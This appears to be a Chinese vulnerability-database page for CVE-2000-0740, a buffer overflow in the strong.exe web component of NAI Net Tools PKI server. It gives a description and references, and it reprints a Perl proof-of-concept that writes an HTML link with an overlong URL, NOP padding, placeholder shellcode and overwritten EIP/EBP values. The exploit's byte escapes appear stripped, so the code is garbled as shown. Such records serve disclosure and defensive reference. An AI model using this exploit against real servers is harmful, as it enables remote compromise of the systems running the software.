NAI Net Tools PKI server strong.exe命令执行漏洞-安全小百科

NAI Net Tools PKI server strong.exe命令执行漏洞

漏洞ID	1105949	漏洞类型	缓冲区溢出
发布时间	2000-08-02	更新时间	2005-05-02
CVE编号	CVE-2000-0740	CNNVD-ID	CNNVD-200010-021
漏洞平台	Windows	CVSS评分	5.0

|漏洞来源

https://www.exploit-db.com/exploits/20134
http://www.cnnvd.org.cn/web/xxk/ldxqById.tag?CNNVD=CNNVD-200010-021

|漏洞详情

NAINetToolsPKIserver1.0HotFix3之前版本的strong.exe存在缓冲区溢出漏洞。远程攻击者可以借助HTTPS端口的超长URL执行任意命令。

|漏洞EXP

source: http://www.securityfocus.com/bid/1536/info

Certain versions of Network Associates Inc.'s Net Tools PKI (Public Key Infrastructure) server ship with a buffer overflow vulnerability which could lead to a remote compromise of the system running the PKI server. The problem lies within the webserver component of the PKI server (strong.exe) which operates several 'virtual servers' required to operate the PKI server. The first is the Administrative Web Server which listens via TCP port 443, the second is Enrollment Web Server which listens on TCP port 444. Unlike the Administrative Web Server the Enrollment Web Server does not require credentials to be exchanged before a user can talk to the webserver. It is via this virtual server that an attacker can exploit the problem at hand.

In particular this problem is located in the PKI servers log generation routines. In order to exploit it, a user must simply connect via an HTTPS connection to port 444 and provide an overly long URL (2965 + characters) which will be mishandled by the log routines resulting in a buffer overflow. 

#!/usr/bin/perl
# NAI NetTools PKI SERVER 1.0 - Long URL Stack Overflow Exploit
# Replace host and port an create the html file:
#./pkiluso.pl > test.html
#Open the html in a SSL compatible browser and click on the link. puf!
#Juliano Rizzo (c) 2000 [email protected]

$host = "localhost";
$port = "444";
$shell_code= "x90x90x90x90";

#We can set the values of EIP and EBP, our code is on the stack
#and in 0x01613A2E.
$eip = "x2Ex3Ax61x01";#0x01613A2E (URL readed from socket)
#$eip = "x64x83x40%00";#0x00408364 (CALL EBP)
$ebp = "xCBxF21x02"; #0x0200F2CB (trunca el string por el 00)
$noplen = (2965 - length($shell_code));
print "<html><body><a href="https://".$host.":".$port."/";
print "x90"x$noplen;
print
$shell_code.$ebp.$eip."x18x6Bx62x01x18x6Bx62x01x18x6Bx62x01".
"">Click here to exploit.!</a></body></html>";

|参考资料

来源:BID
名称:1536
链接:http://www.securityfocus.com/bid/1536
来源:download.nai.com
链接:http://download.nai.com/products/licensed/pgp/hf3pki10.txt
来源:BUGTRAQ
名称:20000802NAINetToolsPKIServervulnerabilities
链接:http://archives.neohapsis.com/archives/bugtraq/2000-07/0473.html
来源:XF
名称:nai-nettools-strong-bo(5026)
链接:http://xforce.iss.net/static/5026.php
来源:OSVDB
名称:1488
链接:http://www.osvdb.org/1488

相关推荐: vpopmail Format String Via User Input Vulnerability

vpopmail Format String Via User Input Vulnerability 漏洞ID 1103992 漏洞类型 Unknown 发布时间 2000-06-30 更新时间 2000-06-30 CVE编号 N/A CNNVD-ID N…

文章版权归作者所有，未经允许请勿转载。

THE END